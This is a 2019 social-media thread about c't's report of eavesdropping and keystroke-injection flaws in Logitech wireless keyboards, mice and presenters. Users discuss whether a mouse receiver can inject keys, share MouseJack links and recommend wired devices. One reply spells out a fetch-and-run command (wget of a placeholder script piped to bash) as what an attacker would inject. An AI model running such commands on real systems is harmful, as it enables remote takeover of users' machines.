muesli

Logitech keyboards and mice vulnerable to eavesdropping and remote attacks:

https://www.heise.de/ct/artikel/Logitech-keyboards-and-mice-vulnerable-to-extensive-cyber-attacks-4464533.html

Logitech keyboards and mice vulnerable to extensive cyber attacks

There are security vulnerabilities in several Logitech keyboards, mice and wireless presenters. An attacker can both eavesdrop on keystrokes and infect the computer. c't tells you which products are affected and what you should do now.

Jul 8, 2019 at 8:00pmWeb
Show thread🪦Jul 8, 2019
@fribbledom I always use wired equipment.
Show threadMans RJul 8, 2019
@fribbledom If I only have a mouse, is it still possible to make it impersonate a keyboard?
Show threadmuesliJul 8, 2019

@mansr

You know that's a great question! I don't know the definitive answer, and could see arguments for both sides, but I'll boost your toot, in case someone else has more insight.

Show threadlinear but cybreJul 8, 2019

@mansr @fribbledom given that the exploit was shown working on a presenter device, which does not act as a keyboard and in fact has a filter in software to block any keystrokes sent

i would guess that it probably does

Show threadMans RJul 8, 2019
@ky0ko @fribbledom What does a "presenter" device present as?
Show threadlinear but cybreJul 8, 2019

@mansr @fribbledom that's a good question and i don't know

however the article specifically mentions that there is a filter in place such that a device classified as a presenter should not be able to send letter keypresses, and this is bypassed in the exploit

Show threadmkbJul 8, 2019

@mansr @fribbledom

Oh, sorry, I got your question backward.

Show threadالتنينوكسJul 8, 2019
@mansr @fribbledom I am not sure, but probably yes. Logitech uses a single receiver for both keyboard and mouse.
Show threadNixiИJul 8, 2019
@mansr @fribbledom that #chorded keyboard discussed previously?
Show thread‮Andrew CassidyJul 8, 2019
@mansr @fribbledom The logitech mouse I have (which isn't even one of the fancy ones) can send keyboard commands using the side keys, even without the drivers running
Show threadGeorge McCollisterJul 9, 2019
@mansr @fribbledom https://www.bastille.net/research/vulnerabilities/mousejack/affected-devices just unplug this crap until proven safe.
MouseJack Affected Devices — Bastille

Bastille
Show threadGeorge McCollisterJul 9, 2019
@mansr @fribbledom for more general information go to https://www.mousejack.com/
Wireless Mouse Hacks & Network Security Protection | Mousejack

MouseJack, the worlds first IoT vulnerability

Show threadMans RJul 9, 2019
@fribbledom Under Linux, the "unifying receiver" shows up as multiple input devices: Keyboard, Mouse, Consumer Control, and System Control. The mouse device reports only motion and button events. If only the mouse device is used by applications, one would think they might be shielded from injected keypress events. Or if not, modifying the kernel driver to discard non-mouse input from the receiver should be easy enough.
Show threadmuesliJul 9, 2019

@mansr

Sure, that doesn't mean it can automatically be exploited by sending some magic command to the mouse, though.

You're right though, it should be fairly trivial to block it in the kernel.

Show threadTheDairyBumJul 14, 2019
@mansr @fribbledom insert a trackpad.
Show threadjust johnJul 8, 2019

@fribbledom

Not at all surprised.

Show threadGeorge McCollisterJul 9, 2019
@fribbledom @mansr this is really a complete no brainier. They have no security at all. Just war drive around and wget 'https://myurl/script.sh'; bash script.sh or something similar. I always unplug these things immediately after using them.
Show threadஅருண் ஐசக் (Arun Isaac)Jul 9, 2019
This is why I never use wireless keyboards. Good old wires are far more reliable than any encryption scheme.
Show threadதோட்டக்காரன்(gardener)Jul 10, 2019
I remember reading a similar article on this - that wireless keyboard and mouse are vulnerable. Though that article mentioned that bluetooth keyboard and mice are not yet vulnerable.